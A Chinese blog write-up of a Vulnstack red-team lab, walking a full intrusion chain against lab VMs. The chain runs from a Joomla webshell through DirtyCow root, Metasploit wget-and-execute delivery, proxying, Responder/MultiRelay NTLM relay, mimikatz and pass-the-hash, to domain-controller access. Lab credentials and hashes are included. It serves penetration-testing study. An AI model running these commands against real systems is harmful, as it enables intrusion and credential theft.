环境准备
靶场环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
打开虚拟机镜像为挂起状态,开启后第一时间进行快照,部分服务未做自启,重启后无法自动运行。
开机之前需要先添加一个192.168.93.0/24
的桥接网卡作为内部网络:
- Win:
VMware > 编辑 > 虚拟网络编辑器 > 添加网络
- Mac:
VMware > 偏好设置 > 网络 > 解锁后添加
,也可以通过命令如下添加:
# 添加网卡
$ sudo vim /Library/Preferences/VMware\ Fusion/networking
answer VNET_2_DHCP yes
answer VNET_2_HOSTONLY_NETMASK 255.255.255.0
answer VNET_2_HOSTONLY_SUBNET 192.168.93.0
answer VNET_2_VIRTUAL_ADAPTER yes
# 配置网络
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --configure
# 启动网络服务
$ sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --start
# 验证
$ ifconfig
添加完网卡后打开虚拟机会连接到VMnet2网卡(如果没有就手动连一下)。其中Web-Centos
为出网机,需要重新获取IP,然后Ping测试一下各主机连通性
# 获取IP
$ service network restart
# 连通测试
$ ping 192.168.93.10
$ ping 192.168.93.20
$ ping 192.168.93.30
IP | 备注 | |
---|---|---|
Web-Centos | 192.168.111.10/ 192.168.93.100 | 出网机 |
Web-Ubuntu | 192.168.93.120 | Nginx反代 |
Win2012 | 192.168.93.10 | 域控(test.org) |
Win2008 | 192.168.93.20 | 域用户 |
Win7 | 192.168.93.30 | 域用户 |
Kali | 192.168.111.2 | 攻击机 |
外网打点
信息收集
- 端口扫描一下,发现开启
22/80/3306
等端口,其中80
端口存在Joomla CMS
,通过浏览器访问
$ nmap 192.168.111.10 -T4 -A -sV
- 使用
Joomscan
进行漏洞扫描
$ joomscan -u <URL>
# 如果没有需要先安装
$ apt install joomscan
- 未找到可利用的漏洞,但发现一个配置文件
configuration.php~
,访问得到数据库账号密码
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';
- 使用Navicat尝试连接
添加管理员账号
- 进入数据库后找到
am2zu_users
表,该表存放了管理员账号密码,但是密文未能破解。这里参考官方文档 - 如何恢复或重置管理员密码来添加用户,注意需要修改表名前缀为am2zu_
-- 账号密码为:admin2/secret
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
- 然后访问管理员后台:
/administrator/
,使用admin2/secret
进行登录
模板Getshell
- 后台中依次访问
Extensions > Templates > Templates
,选择模板进入并点击New File
,输入一句话木马后保存
- 这里选择的模板为
Beez3
,所以对应的木马路径为:/templates/beez3/a.php
。使用蚁剑进行连接,连上后发现无法执行命令
disable_functions
- 再次新建模板,写入
phpinfo
进行查看,发现设置了disable_functions
<?php phpinfo(); ?>
可以通过蚁剑的插件
绕过disable_functions
来绕过,选择LD_PRELOAD
模式- 注意:启动的WebServer根目录需要和木马文件所在目录一致
点击开始后会在目标网站生成
.antproxy.php
和/tmp/.ant_x64.so
两个文件,使用蚁剑连接.antproxy.php
文件,密码和前面木马文件一样,连接后即可执行命令。收集下信息:- 权限为
www
的Ubuntu
主机,IP为192.168.93.120
- 权限为
- 通过翻文件发现
/tmp/mysql/test.txt
- 尝试SSH连接
$ ssh wwwuser@192.168.111.10
# wwwuser_123Aqx
- 通过查看
/etc/nginx/nginx.cong
文件,可以看到Nginx反代标志proxy_pass
,即当前Centos
主机对外提供了Nginx反代,该主机上的Nginx将流量转发给Ubuntu
主机192.168.93.120
,所以前面GetShell的Ubuntu
主机才是真正的Web服务器。
权限提升
$ git clone https://github.com/FireFart/dirtycow.git
# 通过scp上传
$ scp ./dirty.c wwwuser@192.168.111.10:/home/wwwuser
- 在目标机器上编译并执行
$ gcc -pthread dirty.c -o dirty -lcrypt
$ ./dirty <New-Password>
- 此时会生成一个新用户
firefart
,密码为设置的密码
$ su firefart
上线MSF
- 这里用到MSF的
web_delivery
模块,此模块支持在本地监听一个端口,其他机器一旦访问该端口就会将该端口内的文件读取至本地执行
msf6> use exploit/multi/script/web_delivery
msf6> set target 7
msf6> set payload linux/x64/meterpreter/reverse_tcp
msf6> set lhost 192.168.111.2
msf6> set lport 9999
msf6> exploit
- 在目标机器执行
$ wget -qO gHrucc8n --no-check-certificate http://192.168.111.2:8080/zXJRBY; chmod +x gHrucc8n; ./gHrucc8n& disown
路由转发和代理
- MSF配置路由转发
# Background
$ route add 192.168.93.0 255.255.255.0 1
$ route print
- MSF配置路由转发只能将msfconsole带进内网,如果使用其它工具,还需要配置Socks代理。MSF6中可使用
auxiliary/server/socks_proxy
模块(之前是auxiliary/server/socks4a
)
msf6> use auxiliary/server/socks_proxy
msf6> set srvport 1080
msf6> set version 4a
msf6> run
- Kali配置
proxychains4
。如果使用时出现socks error or timeout
,需要检查配置
$ vim /etc/proxychains4.conf
# 最后一行修改为
socks4 127.0.0.1 1080
# 后续就可以通过 proxychains4 <CMD> 执行命令来将程序代理进内网
- 也可以使用ew工具,Kali和目标机器Centos都是Linux,因此下载
ew_for_linux64
即可
# 同样使用scp上传ew
$ scp ew_for_linux64 wwwuser@192.168.111.10:/home/wwwuser/
# 分别在两台机器执行
# Kali
$ ./ew_for_linux64 -s rcsocks -l 1080 -e 8888
# Centos
$ ./ew_for_linux64 -s rssocks -d <Kali_IP> -e 8888
# 提示权限不够就加执行权限
# chmod +x ew_for_linux64
内网渗透
信息收集
存活探测
- UDP探测:
auxiliary/scanner/discovery/udp_probe
msf6> use auxiliary/scanner/discovery/udp_probe
msf6> set rhosts 192.168.93.1/24
msf6> run
- SMB探测:
auxiliary/scanner/smb/smb_version
msf6> use auxiliary/scanner/smb/smb_version
msf6> set rhosts 192.168.93.1/24
msf6> run
- 经过探测,发现目标网段存在
TEST
域,其中10/20/30
三台机器存活,对其进行端口扫描
$ proxychains4 nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
横向移动
有几个打法:MSSQL NTLM Stealer、SMB爆破、NTLM Relay。这里使用的是MSSQL NTLM Stealer
- 前面探测到
192.168.93.20
这台机开启了1433
端口,尝试进行连接。账号密码则使用前面Joomla CMS
那个配置文件中收集到的:testuser / cvcvgjASD!@
# apt install freetds-bin
$ proxychains4 tsql -S 192.168.93.20 -U testuser
Responder环境配置
在Centos使用工具Responder进行监听
- 这个工具的最新版本需要Python3,但运行后发现报错
No module named _ssl
。原因是Python3支持OpenSSL版本最低为1.0.2
,而该Centos系统比较老,自带的Openssl版本为1.0.1
。所以需要安装更高版本的OpenSSL
- 这个工具的最新版本需要Python3,但运行后发现报错
首先下载下面几个工具,通过
scp
上传到服务器
$ scp openssl-1.1.1g.tar.gz wwwuser@192.168.111.10:/home/wwwuser
$ scp Python-3.6.9.tgz wwwuser@192.168.111.10:/home/wwwuser
$ scp -r Responder/ wwwuser@192.168.111.10:/home/wwwuser
# wwwuser_123Aqx
# 安装OpenSSL
$ tar -zxvf openssl-1.1.1g.tar.gz && cd openssl-1.1.1g/
$ ./config --prefix=/usr/local/openssl shared zlib
$ make && make install
$ echo 'export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/openssl/lib' >> ~/.bash_profile
$ source ~/.bash_profile
# 安装Python3
$ tar -zxvf Python-3.6.9.tgz && cd Python-3.6.9/
$ ./configure prefix=/usr/local/python3 --with-openssl=/usr/local/openssl
$ make && make install
$ echo '
#配置python
export PYTHON_HOME=/usr/local/python3
export PATH=$PYTHON_HOME/bin:$PATH' >> ~/.bash_profile
$ source ~/.bash_profile
# 测试
$ python3
>> import ssl
>> import ctypes
# 没有报错即为成功
# 安装依赖
$ pip3 install netifaces six pycryptodome pycryptodomex
Net-NTLM Hash
Net-NTLM Hash并不能直接用来PTH,但有可能通过暴力破解来获取明文密码
- 运行Responder
$ python3 Responder.py -I eth1 -Pv
- Kali中使用
auxiliary/admin/mssql/mssql_ntlm_stealer
,执行xp_dirtree
,触发UNC
# testuser / cvcvgjASD!@
msf6> use auxiliary/admin/mssql/mssql_ntlm_stealer
msf6> set RHOSTS 192.168.93.20
msf6> set SMBPROXY 192.168.93.100
msf6> set USERNAME testuser
msf6> set PASSWORD cvcvgjASD!@
msf6> exploit
- 利用成功,此时可以看到已经获取到了NTLMv2-Hash
[SMB] NTLMv2-SSP Client : 192.168.93.20
[SMB] NTLMv2-SSP Username : WIN2008\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::WIN2008:1122334455667788:C21D87D20B23AE44F82D4B4A41D9491C:010100000000000068E94DEE7E1ED801670BA94B6A3AF3B00000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030003000000000000000000000000030000011C4314A8F10C5B6E59317CE9DBBCF8859B4494BEA8E251FCE09E150BA4F27F40000000000000000
- 可以用Hashcat进行暴力破解,得到密码为:
123qwe!ASD
# 查看支持的Mode,这里NTLMv2的Mode为5600
$ hashcat --example-hashes | less
# 暴力破解
$ hashcat -m 5600 hash.txt top1000.txt --force
MultiRelay中继攻击
没爆破出来可以尝试中继Win2008打Win7,发现Win2008的administrator凭据可以中继到Win7,所以可知Win2008和Win7的本地administrator密码相同。参考:https://xz.aliyun.com/t/6988#toc-4
- 运行前需要编译相关工具,这里我在另一台机器完成并上传
$ apt-get install gcc-mingw-w64-x86-64
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv
$ x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode
- 上传到
Responder/tools/MultiRelay/bin/
目录,同时上传一个mimikatz.exe
$ scp Runas.exe wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
$ scp Syssvc.exe
wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
$ scp mimikatz.exe wwwuser@192.168.111.10:/home/wwwuser/Responder/tools/MultiRelay/bin
# wwwuser_123Aqx
- 中继攻击
# 禁用SMB和HTTP服务,将对应选项修改为Off
$ vi Responder.conf
# 开启监听
$ python3 Responder.py -I eth1 -v -F
# 运行MultiRelay
$ python3 MultiRelay.py -t 192.168.93.30 -u ALL
# MSSQL触发UNC
msf6> exploit
- 此时已经获取到Win7的Shell了,然后使用
mimikatz
抓取明文密码。我这里使用mimikatz抓取时一直卡着不动,原因未知。
$ mimi "privilege::debug"
$ mimi "sekurlsa::logonpasswords"
- 但是可以通过
dump
来获得NTLM Hash
,存储在Responder/tools/MultiRelay/relay-dumps
目录下
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337:::
WMI连接
- 无论是否获得明文密码,都可以通过impacket的
wmiexec.py
进行连接
# git clone https://github.com/SecureAuthCorp/impacket
# cd impacket/ && python3 -m pip install .
# NTLM Hash
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20
# 明文密码
$ proxychains4 python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
攻击域控-0
未知Win2008明文密码,使用NTLM Hash通过WMI连接到Win2008,然后获取正向Shell,通过进程迁移提权后读取文件
- MSF生成一个正向shell木马,并开启监听
$ msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind.exe
msf6> use exploit/multi/handler
msf6> set PAYLOAD windows/meterpreter/bind_tcp
msf6> set RHOST 192.168.93.20
msf6> set LPORT 4444 # 前面生成木马时若不指定端口,则默认是这个
msf6> exploit
- 通过SCP上传到Centos,然后在Centos上开启HTTP服务
$ scp bind.exe wwwuser@192.168.111.10:/home/wwwuser/
# wwwuser_123Aqx
$ python3 -m http.server 8080
- 通过前面的WMI连接到win2008,下载并执行木马
$ proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337 administrator@192.168.93.20
$ certutil -urlcache -split -f http://192.168.93.100:8080/bind.exe
$ bind.exe
- 上线之后执行
ps
,发现存在域管用户的进程,进程迁移
meterpreter> ps
meterpreter> migrate 3800
meterpreter> shell
$ whoami
- 最后读取文件。这里不知道为什么报错
The network path was not found.
,根据其它参考文章是可以直接读取到的,有点玄学。
$ type \\192.168.93.10\C$\Users\Administrator\Documents\flag.txt
$ type \\192.168.93.10\Admin$\Users\Administrator\Documents\flag.txt
攻击域控-1
已知Win2008明文密码,通过令牌窃取提权后读取文件
- 定位域控
$ ipconfig /all
$ proxychains4 smbclient -L 192.168.93.20 -U administrator
$ proxychains4 smbclient //192.168.93.20/ADMIN$ -U administrator
$ put incognito.exe
- 列出令牌
$ cd Windows/
$ incognito.exe list_tokens -u
- 模拟域管用户,将目标文件复制到本地
$ incognito.exe execute -c "TEST\administrator" "cmd /c copy \\192.168.93.10\C$\users\administrator\Documents\flag.txt C:\Windows\flag.txt"
攻击域控-2
已知Win2008明文密码,使用mimikatz抓取域管密码,然后通过IPC连接域控读取文件
- 上传mimikatz。使用
smbclient
连接并上传
$ proxychains4 smbclient -L 192.168.93.20 -U administrator
$ proxychains4 smbclient //192.168.93.20/ADMIN$ -U administrator
$ put mimikatz.exe
- 获得
TEST\administrator
密码:zxcASDqw123!
$ cd Windows
$ mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > pwd.log
- IPC连接域控
$ net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
$ dir \\192.168.93.10\C$\users\administrator\Documents\flag.txt
问题
使用Responder工具那部分踩的坑最多,后来发现原生环境Python2.6+Responder
旧仓库的2.3.0
版本可以运行,但是这个版本没有MultiRelay.py
,最后折腾一番安装Python3+lgandx/Responder成功解决。
- 一开始根据Vlunstack ATT&CK实战系列——红队实战(三)Writeup中的解法二,下载改版过的Responder工具lgandx/Responder的最新版本,Python2下运行需要
Python-netifaces
库,目标环境的yum有点问题,经换源、rpm离线安装等方式都没有成功;Python3下运行提示缺少ssl
库,并且使用pip3安装的时候提示SSLError
等等; - 后来看到参考文章中使用的是
v2.3.4.0
版本,于是再次下载并上传。这个版本只支持Python2,但是运行后提示缺少python-sqlite3
插件,使用pip
安装提示找不到sqlite3
库;后根据文章python2.7安装sqlite3模块,进行离线安装sqlite3
并重新安装Python2,仍然无效...; - 最后在打算放弃的时候,在lgandx/Responder仓库看到
forked from SpiderLabs/Responder
,于是下载了原作者SpiderLabs/Responder/的最新版本,传上去后成功运行。但是进行下一步中继时发现没有MultiRelay.py
,继续折腾; - 最后的最后找到Python3版本报错
No module named _ssl
的原因,即第一点提到的SSLError
错误。因为Python3支持OpenSSL版本最低为1.0.2
,而该Centos系统比较老,自带的Openssl版本为1.0.1
。所以需要安装更高版本的OpenSSL,最终解决。 还有一些零碎的问题没有记录。
- 例如目标环境原Python版本为
2.6.6
,无法通过get-pip.py
安装pip,后找到官方https://bootstrap.pypa.io/pip/2.6/get-pip.py,也发现已经404,最后在官方仓库https://github.com/pypa/get-pip/blob/20.1/2.6/get-pip.py才找到安装脚本。 - 还有就是安装Python2.7时在
make
这一步一直checking
,等了十多分钟后手动终止。经查询发现原来是时间没对上,手动修改时间后正常。
- 例如目标环境原Python版本为
参考
- Vlunstack ATT&CK实战系列——红队实战(三)Writeup
- 记一次Vulnstack靶场内网渗透(四)
- ATT&CK实战系列——红队实战(三)
- python3报错No module named _ssl
版权属于:Naraku
本文链接:https://www.naraku.cn/posts/114.html
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~
1 条评论
感谢分享 赞一个